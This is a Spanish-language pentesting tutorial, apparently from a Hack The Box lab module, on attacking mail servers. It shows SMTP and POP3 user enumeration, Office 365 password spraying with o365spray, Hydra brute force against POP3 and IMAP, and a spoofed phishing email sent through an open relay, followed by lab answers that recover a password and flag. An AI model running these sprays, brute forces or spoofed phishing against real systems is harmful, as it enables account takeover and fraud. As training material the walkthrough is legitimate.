Un mail server(también denominado servidor de correo electrónico) es un servidor que maneja y entrega correo electrónico a través de una red, generalmente a través de Internet. Un servidor de correo puede recibir correos electrónicos desde un dispositivo cliente y enviarlos a otros servidores de correo. Un servidor de correo también puede entregar correos electrónicos a un dispositivo cliente. Un cliente suele ser el dispositivo donde leemos nuestros correos electrónicos (ordenadores, smartphones, etc.).
Cuando pulsamos el botón Enviar en nuestra aplicación de correo electrónico (cliente de correo electrónico), el programa establece una conexión con un servidor SMTP de la red o Internet. El nombre SMTP significa Simple Mail Transfer Protocol y es un protocolo para entregar correos electrónicos de clientes a servidores y de servidores a otros servidores.
Cuando descargamos correos electrónicos a nuestra aplicación de correo electrónico, se conectará a un servidor POP3 o IMAP4 en Internet, lo que permite al usuario guardar mensajes en el buzón de un servidor y descargarlos periódicamente.
De forma predeterminada, los clientes POP3 eliminan los mensajes descargados del servidor de correo electrónico. Este comportamiento dificulta el acceso al correo electrónico en varios dispositivos, ya que los mensajes descargados se almacenan en la computadora local. Sin embargo, normalmente podemos configurar un cliente POP3 para que guarde copias de los mensajes descargados en el servidor.
Por otro lado, de forma predeterminada, los clientes IMAP4 no eliminan los mensajes descargados del servidor de correo electrónico. Este comportamiento facilita el acceso a mensajes de correo electrónico desde múltiples dispositivos. Veamos cómo podemos apuntar a servidores de correo.
Enumeración
Los servidores de correo electrónico son complejos y normalmente requieren que enumeremos varios servidores, puertos y servicios. Además, hoy en día la mayoría de empresas tienen sus servicios de correo electrónico en la nube con servicios como Microsoft 365 o G-Suite . Por lo tanto, nuestro enfoque para atacar el servicio de correo electrónico depende del servicio que se utilice.
Podemos utilizar el registro DNS Mail eXchanger( MX) para identificar un servidor de correo. El registro MX especifica el servidor de correo responsable de aceptar mensajes de correo electrónico en nombre de un nombre de dominio. Es posible configurar varios registros MX, que normalmente apuntan a una serie de servidores de correo para equilibrio de carga y redundancia.
Podemos utilizar herramientas como host o dig y sitios web en línea como MXToolbox para consultar información sobre los registros MX:
Host - Registros MX
afsh4ck@kali$ host -t MX hackthebox.eu
hackthebox.eu mail is handled by 1 aspmx.l.google.com.
afsh4ck@kali$ host -t MX microsoft.com
microsoft.com mail is handled by 10 microsoft-com.mail.protection.outlook.com.
DIG - Registros MX
afsh4ck@kali$ dig mx plaintext.do | grep "MX" | grep -v ";"
plaintext.do. 7076 IN MX 50 mx3.zoho.com.
plaintext.do. 7076 IN MX 10 mx.zoho.com.
plaintext.do. 7076 IN MX 20 mx2.zoho.com.
afsh4ck@kali$ host -t A mail1.inlanefreight.htb.
mail1.inlanefreight.htb has address 10.129.14.128
Estos registros MX indican que los primeros tres servicios de correo utilizan los servicios en la nube G-Suite (aspmx.l.google.com), Microsoft 365 (microsoft-com.mail.protection.outlook.com) y Zoho (mx.zoho. com), y el último puede ser un servidor de correo personalizado alojado por la empresa.
Esta información es esencial porque los métodos de enumeración pueden diferir de un servicio a otro. Por ejemplo, la mayoría de los proveedores de servicios en la nube utilizan su implementación de servidor de correo y adoptan una autenticación moderna, lo que abre vectores de ataque nuevos y únicos para cada proveedor de servicios. Por otro lado, si la empresa configura el servicio podríamos descubrir malas prácticas y malas configuraciones que permitan ataques comunes a los protocolos de los servidores de correo.
Si apuntamos a una implementación de servidor de correo personalizado como inlanefreight.htb, podemos enumerar los siguientes puertos:
Podemos usar la opción de script predeterminada de -sC de Nmap para enumerar esos puertos en el sistema de destino:
afsh4ck@kali$ sudo nmap -Pn -sV -sC -p25,143,110,465,587,993,995 10.129.14.128
Starting Nmap 7.80 ( https://nmap.org ) at 2021-09-27 17:56 CEST
Nmap scan report for 10.129.14.128
Host is up (0.00025s latency).
PORT STATE SERVICE VERSION
25/tcp open smtp Postfix smtpd
|_smtp-commands: mail1.inlanefreight.htb, PIPELINING, SIZE 10240000, VRFY, ETRN, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING,
MAC Address: 00:00:00:00:00:00 (VMware)
Configuraciones erróneas
Los servicios de correo electrónico utilizan la autenticación para permitir a los usuarios enviar y recibir correos electrónicos. Puede ocurrir una configuración incorrecta cuando el servicio SMTP permite la autenticación anónima o admite protocolos que se pueden usar para enumerar nombres de usuario válidos.
Autenticación
El servidor SMTP tiene diferentes comandos que se pueden usar para enumerar nombres de usuario válidos VRFY, EXPNy RCPT TO. Si enumeramos con éxito nombres de usuario válidos, podemos intentar un Password Spraying, forzarlas o adivinar una contraseña válida. Entonces, exploremos cómo funcionan esos comandos.
Comando VRFY
El comando VRFY indica al servidor SMTP receptor que verifique la validez de un nombre de usuario de correo electrónico en particular. El servidor responderá indicando si el usuario existe o no. Esta característica se puede desactivar.
afsh4ck@kali$ telnet 10.10.110.20 25
Trying 10.10.110.20...
Connected to 10.10.110.20.
Escape character is '^]'.
220 parrot ESMTP Postfix (Debian/GNU)
VRFY root
252 2.0.0 root
VRFY www-data
252 2.0.0 www-data
VRFY new-user
550 5.1.1 <new-user>: Recipient address rejected: User unknown in local recipient table
Comando EXPN
EXPN es similar a VRFY, excepto que cuando se usa con una lista de usuarios, enumerará todos los usuarios en esa lista. Esto puede ser un problema mayor que el comando VRFY, ya que los sitios suelen tener un alias como "todos".
afsh4ck@kali$ telnet 10.10.110.20 25
Trying 10.10.110.20...
Connected to 10.10.110.20.
Escape character is '^]'.
220 parrot ESMTP Postfix (Debian/GNU)
EXPN john
250 2.1.0 john@inlanefreight.htb
EXPN support-team
250 2.0.0 carol@inlanefreight.htb
250 2.1.5 elisa@inlanefreight.htb
Comando RCPT
RCPT TO identifica el destinatario del mensaje de correo electrónico. Este comando se puede repetir varias veces para que un mensaje determinado entregue un solo mensaje a varios destinatarios.
afsh4ck@kali$ telnet 10.10.110.20 25
Trying 10.10.110.20...
Connected to 10.10.110.20.
Escape character is '^]'.
220 parrot ESMTP Postfix (Debian/GNU)
MAIL FROM:test@htb.com
it is
250 2.1.0 test@htb.com... Sender ok
RCPT TO:julio
550 5.1.1 julio... User unknown
RCPT TO:kate
550 5.1.1 kate... User unknown
RCPT TO:john
250 2.1.5 john... Recipient ok
Comando USER
También podemos utilizar el protocolo POP3 para enumerar usuarios según la implementación del servicio. Por ejemplo, podemos usar el comando USER seguido del nombre de usuario, y si el servidor responde OK. Esto significa que el usuario existe en el servidor:
afsh4ck@kali$ telnet 10.10.110.20 110
Trying 10.10.110.20...
Connected to 10.10.110.20.
Escape character is '^]'.
+OK POP3 Server ready
USER julio
-ERR
USER john
+OK
Para automatizar nuestro proceso de enumeración, podemos utilizar una herramienta llamada smtp-user-enum . Podemos especificar el modo de enumeración con el argumento -M seguido de VRFY, EXPNo RCPT y el argumento -U con un archivo que contiene la lista de usuarios que queremos enumerar. Dependiendo de la implementación del servidor y el modo de enumeración, debemos agregar el dominio para la dirección de correo electrónico con el argumento -D. Finalmente, especificamos el objetivo con el argumento -t.
Como se mencionó, los proveedores de servicios en la nube utilizan su propia implementación para los servicios de correo electrónico. Esos servicios suelen tener características personalizadas de las que podemos abusar para su funcionamiento, como la enumeración de nombres de usuarios. Usemos Office 365 como ejemplo y exploremos cómo podemos enumerar nombres de usuario en esta plataforma en la nube.
O365spray es una herramienta de enumeración de nombres de usuarios y contraseñas dirigida a Microsoft Office 365 (O365) desarrollada por ZDH . Esta herramienta vuelve a implementar una colección de técnicas de enumeración y pulverización investigadas e identificadas por los mencionados en Agradecimientos . Primero validemos si nuestro dominio de destino usa Office 365.
O365 Spray
afsh4ck@kali$ python3 o365spray.py --validate --domain msplaintext.xyz
*** O365 Spray ***
>----------------------------------------<
> version : 2.0.4
> domain : msplaintext.xyz
> validate : True
> timeout : 25 seconds
> start : 2022-04-13 09:46:40
>----------------------------------------<
[2022-04-13 09:46:40,344] INFO : Running O365 validation for: msplaintext.xyz
[2022-04-13 09:46:40,743] INFO : [VALID] The following domain is using O365: msplaintext.xyz
Ahora podemos intentar identificar los nombres de usuario.
afsh4ck@kali$ python3 o365spray.py --enum -U users.txt --domain msplaintext.xyz
*** O365 Spray ***
>----------------------------------------<
> version : 2.0.4
> domain : msplaintext.xyz
> enum : True
> userfile : users.txt
> enum_module : office
> rate : 10 threads
> timeout : 25 seconds
> start : 2022-04-13 09:48:03
>----------------------------------------<
[2022-04-13 09:48:03,621] INFO : Running O365 validation for: msplaintext.xyz
[2022-04-13 09:48:04,062] INFO : [VALID] The following domain is using O365: msplaintext.xyz
[2022-04-13 09:48:04,064] INFO : Running user enumeration against 67 potential users
[2022-04-13 09:48:08,244] INFO : [VALID] lewen@msplaintext.xyz
[2022-04-13 09:48:10,415] INFO : [VALID] juurena@msplaintext.xyz
[2022-04-13 09:48:10,415] INFO :
[ * ] Valid accounts can be found at: '/opt/o365spray/enum/enum_valid_accounts.2204130948.txt'
[ * ] All enumerated accounts can be found at: '/opt/o365spray/enum/enum_tested_accounts.2204130948.txt'
[2022-04-13 09:48:10,416] INFO : Valid Accounts: 2
Ataques de contraseñas
Podemos utilizarlo Hydra para realizar un Password Spraying o fuerza bruta contra servicios de correo electrónico como SMTP, POP3o IMAP4. Primero, necesitamos obtener una lista de nombres de usuarios y contraseñas y especificar qué servicio queremos atacar. Veamos un ejemplo de POP3.
Hydra - Bruteforce
afsh4ck@kali$ hydra -L users.txt -p 'Company01!' -f 10.10.110.20 pop3
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-04-13 11:37:46
[INFO] several providers have implemented cracking protection, check with a small wordlist first - and stay legal!
[DATA] max 16 tasks per 1 server, overall 16 tasks, 67 login tries (l:67/p:1), ~5 tries per task
[DATA] attacking pop3://10.10.110.20:110/
[110][pop3] host: 10.129.42.197 login: john password: Company01!
1 of 1 target successfully completed, 1 valid password found
Si los servicios en la nube admiten los protocolos SMTP, POP3 o IMAP4, es posible que podamos intentar realizar una pulverización de contraseñas utilizando herramientas como Hydra, pero estas herramientas suelen estar bloqueadas. En su lugar, podemos intentar utilizar herramientas personalizadas como o365spray o MailSniper para Microsoft Office 365 o CredKing para Gmail u Okta. Tenga en cuenta que estas herramientas deben estar actualizadas porque si el proveedor de servicios cambia algo (lo que sucede con frecuencia), es posible que las herramientas ya no funcionen. Este es un ejemplo perfecto de por qué debemos entender qué hacen nuestras herramientas y tener el conocimiento para modificarlas si no funcionan correctamente por algún motivo.
O365 Spray - Password Spraying
afsh4ck@kali$ python3 o365spray.py --spray -U usersfound.txt -p 'March2022!' --count 1 --lockout 1 --domain msplaintext.xyz
*** O365 Spray ***
>----------------------------------------<
> version : 2.0.4
> domain : msplaintext.xyz
> spray : True
> password : March2022!
> userfile : usersfound.txt
> count : 1 passwords/spray
> lockout : 1.0 minutes
> spray_module : oauth2
> rate : 10 threads
> safe : 10 locked accounts
> timeout : 25 seconds
> start : 2022-04-14 12:26:31
>----------------------------------------<
[2022-04-14 12:26:31,757] INFO : Running O365 validation for: msplaintext.xyz
[2022-04-14 12:26:32,201] INFO : [VALID] The following domain is using O365: msplaintext.xyz
[2022-04-14 12:26:32,202] INFO : Running password spray against 2 users.
[2022-04-14 12:26:32,202] INFO : Password spraying the following passwords: ['March2022!']
[2022-04-14 12:26:33,025] INFO : [VALID] lewen@msplaintext.xyz:March2022!
[2022-04-14 12:26:33,048] INFO :
[ * ] Writing valid credentials to: '/opt/o365spray/spray/spray_valid_credentials.2204141226.txt'
[ * ] All sprayed credentials can be found at: '/opt/o365spray/spray/spray_tested_credentials.2204141226.txt'
[2022-04-14 12:26:33,048] INFO : Valid Credentials: 1
Ataques específicos del protocolo
Una retransmisión abierta es un servidor de Protocolo simple de transferencia de correo ( SMTP), que está configurado incorrectamente y permite una retransmisión de correo electrónico no autenticado. Los servidores de mensajería que se configuran accidental o intencionalmente como retransmisiones abiertas permiten que el correo de cualquier fuente se redirija de forma transparente a través del servidor de retransmisión abierta. Este comportamiento enmascara el origen de los mensajes y hace que parezca que el correo se originó en el servidor de retransmisión abierto.
Open Relay
Desde el punto de vista de un atacante, podemos abusar de esto para realizar phishing enviando correos electrónicos como usuarios no existentes o falsificando el correo electrónico de otra persona. Por ejemplo, imaginemos que nos dirigimos a una empresa con un servidor de correo de retransmisión abierto e identificamos que utiliza una dirección de correo electrónico específica para enviar notificaciones a sus empleados. Podemos enviar un correo electrónico similar usando la misma dirección y agregar nuestro enlace de phishing con esta información. Con el script nmap smtp-open-relay podemos identificar si un puerto SMTP permite una retransmisión abierta.
afsh4ck@kali# nmap -p25 -Pn --script smtp-open-relay 10.10.11.213
Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-28 23:59 EDT
Nmap scan report for 10.10.11.213
Host is up (0.28s latency).
PORT STATE SERVICE
25/tcp open smtp
|_smtp-open-relay: Server is an open relay (14/16 tests)
A continuación, podemos utilizar cualquier cliente de correo para conectarnos al servidor de correo y enviar nuestro correo electrónico.
afsh4ck@kali# swaks --from notifications@inlanefreight.com --to employees@inlanefreight.com --header 'Subject: Company Notification' --body 'Hi All, we want to hear from you! Please complete the following survey. http://mycustomphishinglink.com/' --server 10.10.11.213
=== Trying 10.10.11.213:25...
=== Connected to 10.10.11.213.
<- 220 mail.localdomain SMTP Mailer ready
-> EHLO parrot
<- 250-mail.localdomain
<- 250-SIZE 33554432
<- 250-8BITMIME
<- 250-STARTTLS
<- 250-AUTH LOGIN PLAIN CRAM-MD5 CRAM-SHA1
<- 250 HELP
-> MAIL FROM:<notifications@inlanefreight.com>
<- 250 OK
-> RCPT TO:<employees@inlanefreight.com>
<- 250 OK
-> DATA
<- 354 End data with <CR><LF>.<CR><LF>
-> Date: Thu, 29 Oct 2020 01:36:06 -0400
-> To: employees@inlanefreight.com
-> From: notifications@inlanefreight.com
-> Subject: Company Notification
-> Message-Id: <20201029013606.775675@parrot>
-> X-Mailer: swaks v20190914.0 jetmore.org/john/code/swaks/
->
-> Hi All, we want to hear from you! Please complete the following survey. http://mycustomphishinglink.com/
->
->
-> .
<- 250 OK
-> QUIT
<- 221 Bye
=== Connection closed with remote host.
Caso práctico
Pregunta 1
¿Cuál es el nombre de usuario disponible para el dominio inlanefreight.htb en el servidor SMTP?
smtp-user-enum-MRCPT-Uusers.list-Dinlanefreight.htb-t10.129.28.18Startingsmtp-user-enumv1.2 ( http://pentestmonkey.net/tools/smtp-user-enum )----------------------------------------------------------|ScanInformation|----------------------------------------------------------Mode.....................RCPTWorkerProcesses.........5Usernamesfile...........users.listTargetcount.............1Usernamecount...........79TargetTCPport..........25Querytimeout............5secsTargetdomain............inlanefreight.htb######## Scan started at Mon Apr 29 12:47:25 2024 #########10.129.28.18:marlin@inlanefreight.htbexists
Pregunta 2
Acceda a la cuenta de correo electrónico utilizando las credenciales de usuario que descubrió y envíe la flag en el correo electrónico como respuesta.
Bruteforce de IMAP
hydra -l marlin@inlanefreight.htb -P pws.list -f 10.129.203.12 imap
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-04-30 10:06:08
[INFO] several providers have implemented cracking protection, check with a small wordlist first - and stay legal!
[DATA] max 16 tasks per 1 server, overall 16 tasks, 333 login tries (l:1/p:333), ~21 tries per task
[DATA] attacking imap://10.129.203.12:143/
[143][imap] host: 10.129.203.12 login: marlin@inlanefreight.htb password: poohbear
Buum!! Ya tenemos las credenciales del usuario marlin:
marlin@inlanefreight.htb
poohbear
Ahora vamos a conectarnos por Telnet para acceder a los mails:
telnet 10.129.203.12143Trying 10.129.203.12...Connected to10.129.203.12.Escape characteris'^]'.* OK IMAPrev11LOGIN marlin@inlanefreight.htb poohbear1 OK LOGIN completed
Nos logueamos correctamente y enumeramos los emails:
1 LIST ""** LIST (\HasNoChildren) ".""INBOX"1 OK LIST completed1SELECT INBOX*1EXISTS*1 RECENT* FLAGS (\Deleted \Seen \Draft \Answered \Flagged)* OK [UIDVALIDITY 1650465305] current uidvalidity* OK [UIDNEXT 2] nextuid* OK [PERMANENTFLAGS (\Deleted \Seen \Draft \Answered \Flagged)] limited1 OK [READ-WRITE] SELECT completed1FETCH1 ALL* 1 FETCH (RFC822.SIZE 601 FLAGS (\Seen) INTERNALDATE "20-Apr-2022 14:49:32 -0500" ENVELOPE ("Wed, 20 Apr 2022 15:49:11 -0400" "Password change" (("marlin" NIL "marlin" "inlanefreight.htb")) (("marlin" NIL "marlin" "inlanefreight.htb")) (("marlin" NIL "marlin" "inlanefreight.htb")) (("administrator@inlanefreight.htb" NIL "administrator" "inlanefreight.htb")) (("marlin@inlanefreight.htb" NIL "marlin" "inlanefreight.htb")) NIL NIL "<85cb72668d8f5f8436d36f085e0167ee78cf0638.camel@inlanefreight.htb>"))
1 OK FETCH completed
Solamente hay 1 mail que vamos a enumerar:
1FETCH1 BODY[]*1FETCH (BODY[] {640}Return-Path: marlin@inlanefreight.htbReceived: from [10.10.14.33] (Unknown [10.10.14.33])by WINSRV02 with ESMTPA ; Wed, 20 Apr 202214:49:32-0500Message-ID: <85cb72668d8f5f8436d36f085e0167ee78cf0638.camel@inlanefreight.htb>Subject: Password changeFrom: marlin <marlin@inlanefreight.htb>To: administrator@inlanefreight.htbCc: marlin@inlanefreight.htbDate: Wed, 20 Apr 202215:49:11-0400Content-Type: text/plain; charset="UTF-8"User-Agent: Evolution 3.38.3-1MIME-Version: 1.0Content-Transfer-Encoding: 7bitHi admin,How can I change my passwordto something more secure? flag: HTB{w34k_p4$$w0rd})1 OK FETCH completed BAD NULL COMMAND
Leemos correctamente el email y obtenemos la flag!